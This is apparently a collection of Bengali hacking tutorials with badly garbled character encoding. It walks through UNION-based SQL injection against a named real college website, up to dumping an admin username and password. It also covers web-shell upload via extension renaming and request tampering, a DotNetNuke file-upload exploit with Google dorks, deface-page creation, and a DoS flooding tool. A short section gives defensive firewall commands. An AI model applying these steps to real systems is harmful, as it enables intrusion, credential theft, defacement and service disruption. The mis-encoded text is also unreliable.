এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
